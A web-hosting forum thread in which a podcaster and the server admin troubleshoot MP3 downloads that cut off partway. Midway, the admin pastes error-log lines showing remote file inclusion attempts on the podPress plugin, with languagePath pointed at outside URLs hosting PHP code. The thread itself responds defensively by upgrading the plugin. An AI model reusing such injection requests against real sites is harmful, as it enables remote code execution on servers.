Why would some people have a problem downloading a Netcast?

[fesworks]

I've been getting a small percentage saying they can;t download the whole MP3 to The Webcomic Beacon.... same thing if they try playing it in the pop up player.... Does anyone have and ideas as to what it may be?

The first show was nearly 60 minutes (stopping at betweeen ~15-30 minutes), the 2nd show was 30 minutes.... at least one person mentioned only getting to 26 minutes with the 2nd one....

[Xepher]

Well, without knowing more details, I can only guess. It would be useful if you can find out what their IP address was and as close the exact time as possible when the download started/failed. That would let me look through logs and see how the connection/download was terminated, see if there was anything obvious.

Lacking that however, two guesses.

1. Good old fashioned network timeout. If someone's downloading a big mp3, and it's taking a while on a slower connection, well, things can interrupt a connection anywhere on the internet. If they're just downloading directly from their browser, it may not resume the download. It could also cache the file (assuming it's complete) and never re-download the actual file if they try again. Have them try downloading it with something that supports resuming. FileZilla was the old standby last time I used windows, but it's been a while. As for problems in the pop-up player... yikes, I managed to break that thing within 60 seconds of trying it. I tried skipping around in the file a couple times, and it playback bar started running backwards, skipped once more, and it seemed to crash or disappear, then loaded up "poddango.com" Debugging flash is beyond my expertise though.

2. The way even the "direct" download goes seems to funnel everything through wordpress, so it's technically running a the whole wordpress engine just to funnel the file out to the user. This, of course, let's you count downloads, but if someone had a really slow connection, might time out since PHP scripts aren't expected to run for a minute or two when generating a page... not just keep going for the length of a long download. That could add more chances for something to screw up, and somewhat bypasses the normal webserver errors, so my logs don't have much useful.

EDIT: A third reason just occurred to me... anyone behind a proxy, like an AOL user, or a lot of people in corporate/school-ish environments. If the proxy has some internal file size limit, or just managed to fail the initial download, all the retries would just net the user the broken/short copy that the proxy has cached, and there wouldn't be anything they could really do about it.


Okay, while researching this I just found a big issue. Your podpress install is being flooded with exploit attempts. The error logs are full of things like the following...

Code Select Expand


[Fri Dec 14 15:41:49 2007] [error] [client 70.86.129.130] PHP Warning:  parse_url(/beacon/language/1/splash.lang.php?languagePath=http://200.78.233.83/portal/images/stories/Tecnoticias/.../photos.txt??) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /home/fesworks/public_html/TWCB/wp-content/plugins/podpress/podpress.php on line 151

[Fri Dec 14 16:34:34 2007] [error] [client 213.190.51.202] PHP Warning:  parse_url(/podpress_trac/web/16/0/beacon/language/1/splash.lang.php?languagePath=http://epics.ecn.purdue.edu/lsc/setup_pages2.txt???) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /home/fesworks/public_html/TWCB/wp-content/plugins/podpress/podpress.php on line 151

[Sun Dec 09 15:18:44 2007] [error] [client 216.118.117.174] PHP Warning:  parse_url(/beacon/language/1/splash.lang.php?languagePath=http://www.dip-kostroma.ru/bak_skompa/themes/runcms/menu/images/.asc/www?????????????????????????????) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /home/fesworks/public_html/TWCB/wp-content/plugins/podpress/podpress.php on line 151


If you actually visit any of the URLs people are trying to set as languagePath, you'll find a bunch of nasty raw PHP code. Me thinks there's an exploit in podpress and people know about it. These are, of course, the attempts that failed and gave an error, but you'd better make sure your podpress install isn't letting more though, as those will have no errors in the logs to make them stand out. Please check on this!

Man, this is one of the reasons I dislike enabling url_fopen_wrappers... but so many people use it. I'm gonna have to reconsider that, and maybe change the default, then people can enable it themselves if they really want to.

[fesworks]

Well, there is an update for Podpress I can install... I have been putting it off because I don;t want to loose my stuff by accident... but that should fix the exploit.

It seems to be about 2% of people that download experience the interrupt.Even RE-downloading the file doesn't work. I've even given some of them the direct file URL (non Wordpress URL), but the same error happens.

It may take me a while to sort through some of this... For now I'll let our Listeners know what you have said.

EDIT: oh, and thanks! I'll see if I can get more detailed info, and I'll let you know when I upgrade PodPress.

[fesworks]

Ok, I upgraded PodPress, so I think that should fix the exploits.

[Xepher]

Yeah, I'm not positive that it was even an exploit that could "get in" in the first place... I just saw LOTS of attempts in the log files trying it, so I figure warning you to double check things was a good idea.

As for the downloads being interrupted... You said people can't even redownload the file after multiple attempts. Are those attempts all being made with the same browser/program? Have them try clearing the browser cache. If you can, suggest they try a different browser or download program, and then see if it stops in the exact same place. Note that a lot of "browsers" actually are just front-ends to IE... so they need to try a non-IE one like Opera or Firefox too. If it does stop at the same place when using a different program, it's almost certainly a proxy. Note also that some personal 'firewall' programs (like Norton Internet Security) actually behave like local proxies, and could be causing the same symptoms as an ISP-based proxy. If you want to try and solve this, try and find out what OS/Browser/Firewall-or-AV software the affected users are using, as well as what ISP (or network provider... aka in the dorms at a school or something) they're using.

[fesworks]

I shall probe people the next time someone complains

[fesworks]

Hmmm, It seems some people that used to be able to download it all, are now having issues with it cutting off... so it seems inconsistent. I'm going to mess with the plugin and wordpress options... but is it possible that there may be too many people trying to connect? I kinda doubt its bandwidth.... Just checking all possibilities.... I'm going to see if loosening up the Podpress options help too.

[Xepher]

Well, it is the internet, and there's always transient issues out there. Are the people (whom it worked for before) getting cut off in the same place (as each other and as their own retries)? All I can think is that if someone was taking way too long, some PHP timeout trigger could be hitting, but then that doesn't explain it if you've moved it to a direct download (I think you said you tried that before.) Let me know if there's anything you want me to try/test in terms of server stuff. I've no problem helping you troubleshoot if you have some idea of what to try or look for.

[fesworks]

I'm not sure what I could ask you to do. I'm going to try and place the files in a new directory not under Wordpress, and see what happens.

[fesworks]

Seems to be working now.... so far... I think it was the Domain shifted to a subdirectory... I removed the URL and used the underlying URL of Xepher... so maybe that was what was going on.... *shrug*

[fesworks]

Ok, I got another one:

Hi Fes & Tania,

I'm a big fan of your podcast. I've found many of the topics you've covered useful and always look forward to the next installment. The reason I'm writing though is that I'm experiencing a bit of a problem with listening to the complete podcast and in case others have the same issue but haven't said anything, I thought I'd let you know (hopefully for you it'll just be a problem on my PC).

Basically, when listening to an episode via the pop-up player, each episode pretty much ends somewhere around the 30 to 35 minute mark, even though each episode is actually around 50 minutes long. I can rule out my download speed timing out or causing an issue since I run at around 20mb/s and have no problems streaming other podcasts or videos of a longer length.

Also, when I try to download the file directly via your Download links, I still end up with only 30 to 35 minutes worth of audio (or around 16-18mbs of the total 30mb or so). I don't have any problems downloading large files from other sites (downloads massive files, such as ones over 1gb, easily) so I'm not getting why every episode is cutting out for me after a half hour, or in the middle of the direct download.

Any help would be appreciated!

Regards
Neural

I'm going to try and break the next show up into a couple parts and see what happens. I can only think it must be server-side restrictions or something not satisfying all parts between server and listener. Other than that, something between Wordpress and the Server? I dunno. I'm only guessing.

Well, I'll upgrade the wordpress and try the multiple parts and see if that will show anything.... I'll keep you posted on that.

In the end, I may need to find a different server for this project, but we'll see, though I'd rather not. *shrug*

[Xepher]

Again, I'm pretty stumped... The only server limits that would be in place would be script execution time (can't exceed 900 seconds) for cgi/php based downloads. Direct links shouldn't be affected, and from the letter, it sounds like they're downloading it quite fast so it's not a time-limit thing. The fact that it works fine for most people to download the full file really does imply it's not a server-side issue. My best guess is still some proxy (like the transparent ones large ISPs sometimes use) not playing nice. Talk to me on AIM if you see me on... see if you have an IP address for the user with the problems, so we can figure out what ISP they're on and such.

FYI, I'm in the middle of a move right now, so I may be offline most of the day for the next couple days. Have them try downloading another large file from the server here... Try the anime video I made years and years ago. It's 43 megs. http://xepher.xepher.net/downloads/Mononoke%20Hime%20-%20Alanis%20Morissette%20-%20Head%20Over%20Feet.avi

If they can grab that, but not the mp3 of your podcast, then it's gotta be something with the specific file/filetype. Ask them to tell you how long it took to download too, so we have some idea if the overall time limits by be hitting.

[Desh]

I tried beacon 12 at http://fesworks.xepher.net/TWCB/AUDIO/The_Webcomic_Beacon_12_Serial_Printing.mp3 on Sun 6PM EST and had some problems.

I used both Firefox 2.0.0.12 and IE 6.  First time I averaged around 20k/s to 40k/s using Firefox and got 20:00 minutes with 12,007,977 bytes file size.  I tried downloading again and Firefox recognized it as a paused download or something and started where it the first left off.  Second download stopped at 42:00 min with 25,204,700 bytes.  Third time I was able to get the whole file.

Using IE, I averaged around 35k/s and got 17:53 min and 10,735,942 bytes.  When I tried again IE didn't recognize it as the same file and wanted to start again.  I didn't bother letting it.

I tried with Firefox a second time, averaging around 50k/s and again got only part of the file, this time 24:35 min and 14,751,243 bytes.  I timed this attempt at 5:05 min.

I've had no problems with 30meg downloads on other sites (mostly zips, I don't think I've tried another 30meg MP3), and a week ago or so I found Xepher's AMV and downloaded it with no problems.

The forum should have my IP.  My ISP is wireless, and my home has an encrypted wireless network running 3 machines.  It's a little stormy but that's had no effect on my connection right now.

I really don't know what's up with this.  It doesn't seem to be a time thing, I didn't time the first Firefox run but its average transfer was lower than the second but it got more of the file?  I wasn't downloading anything else besides a little websurfing in the background.

[Xepher]

I'm really boggled by this problem. My personal site (where the AMV is) is configured/setup exactly the same as any other user account, including the TWCB site. If you have no problem with the AMV, but repeated incompletes with the podcast... My only guess is if/when a new episode comes out, a lot of people are hitting the site for the download at the same time. That's the only difference I can think of, but it still shouldn't cut off in the middle, it should just mean new users can't start downloading if it was hitting those sort of limits. On top of that, the download speeds should be WAY faster than you listed, unless your ISP is only providing those lower speeds. There is no per-account bandwidth limit here though, so it should only be limited by CPU time, thread count, or memory usage. None of which I would expect to be hit by a simple download. I'll look into the log files some though.

EDIT: Okay, I checked the logs, and there's a ton of podpress related errors, but those shouldn't have affected the direct download links. As a test, I'm doubling most of the webserver resource limits, so lemme know if things work better now.

[griever]

I downloaded #13 (the newest one).  I use Firefox 2.0, hovered around 50k/s +/- 10 (although it got to 83k/s at one point), and only received about half the file (29:14 minutes worth or 16.7MB to be exact).  Time was about 5 minutes.

One thing I noticed in my little download window is that the blue progress bar was halfway across the screen.  I turned to answer an IM (I only had Adium running) and when I clicked back, it said the file was finished.

I don't know if this would help, but for test purposes, I uploaded a podcast about the same length/size of Fes' (made by someone else, but deleted so no infringement!).  It downloaded just fine - speed was about the same but I wasn't monitoring it closely...I was more concerned about completion.  I don't know anything about podcasting but does this mean it's not a filetype problem?